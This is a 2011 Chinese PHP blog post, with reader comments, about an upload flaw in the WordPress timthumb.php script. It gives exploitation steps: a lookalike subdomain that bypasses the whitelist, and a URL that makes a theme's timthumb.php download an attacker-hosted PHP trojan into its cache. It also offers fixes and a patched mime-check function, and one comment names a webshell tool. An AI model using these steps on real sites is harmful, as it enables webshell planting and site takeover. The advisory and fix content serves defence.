安静
PHP技术博客

110804 请小心 timthumb.php

今天早上 CNBETA爆出了 wordpress 的  谷歌写的  timthumb.php 上传漏洞

我分析了下 入侵规则如下:

  0 =>

string

 'flickr.com' (length=10)
  1 =>

string

 'picasa.com' (length=10)
  2 =>

string

 'blogger.com' (length=11)
  3 =>

string

 'wordpress.com' (length=13)
  4 =>

string

 'img.youtube.com' (length=15)

以上文件是timthumb.php 支持 图片的下载地址 或者 ALLOW_EXTERNAL 为TRUE 都会被跳过域名检查.

漏洞利用:

创建一个域名 http://flickr.com.80aj.com/

目录下上传 80aj.php

寻找有 timthumb.php 的主题或者插件包

这里只提供一个  关于  loper1.2 主题包 中就自带 timthumb.php文件
使用如下URL上传木马:
http://www.*.com/wp-content/themes/loper1.2/timthumb.php?src=http://flickr.com.80aj.com/80aj.php

上传完以后访问:
http://www.*.com/wp-content/themes/loper1.2/cache/

寻找刚才上传的文件 直接访问即可.

修复方法:
cache 目录下创建 index.html 或者 php
进制 cache目录执行PHP相关代码
代码后缀过滤 ,虽然代码中过滤了 进制上传的类型 但还是会下载下来

timthumb.php 相关强制关闭

/**
 * determine the file mime type
 *
 * @param  $file
 * @return
 */
function mime_type ($file) {

	$file_infos = getimagesize ($file);
	$mime_type = $file_infos['mime'];

    // use mime_type to determine mime type
    if (!preg_match ("/jpg|jpeg|gif|png/i", $mime_type)) {
		display_error ('Invalid src mime type: ' . $mime_type);
		echo "sorry ,error src type";
		exit();
    }

    return $mime_type;

}

timthumb.php相关新闻:
http://www.cnbeta.com/articles/150685.htm

赞(0) 打赏
未经允许不得转载:AJ's Blog » 110804 请小心 timthumb.php
分享到: 更多 (0)

评论 4

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
  1. #-49

    哥们 刚转载了你的这篇博文,你可以详细的说下怎么修复么?

    小Xiang10年前 (2011-08-04)
  2. 呃 timthumb.php 文件 他提供了1个远程 图片下载功能。。。只要进制保存文件的目录不能执行脚本

    因为文件所能下载的域名地址被限制死了。。所以没有做图片的较严

    可 乐烟10年前 (2011-08-09)
  3. #-48

    谢谢~

    小Xiang10年前 (2011-08-09)
  4. #-47

    菜刀+phpsay 还有什么ne `

    wwek8年前 (2013-03-27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏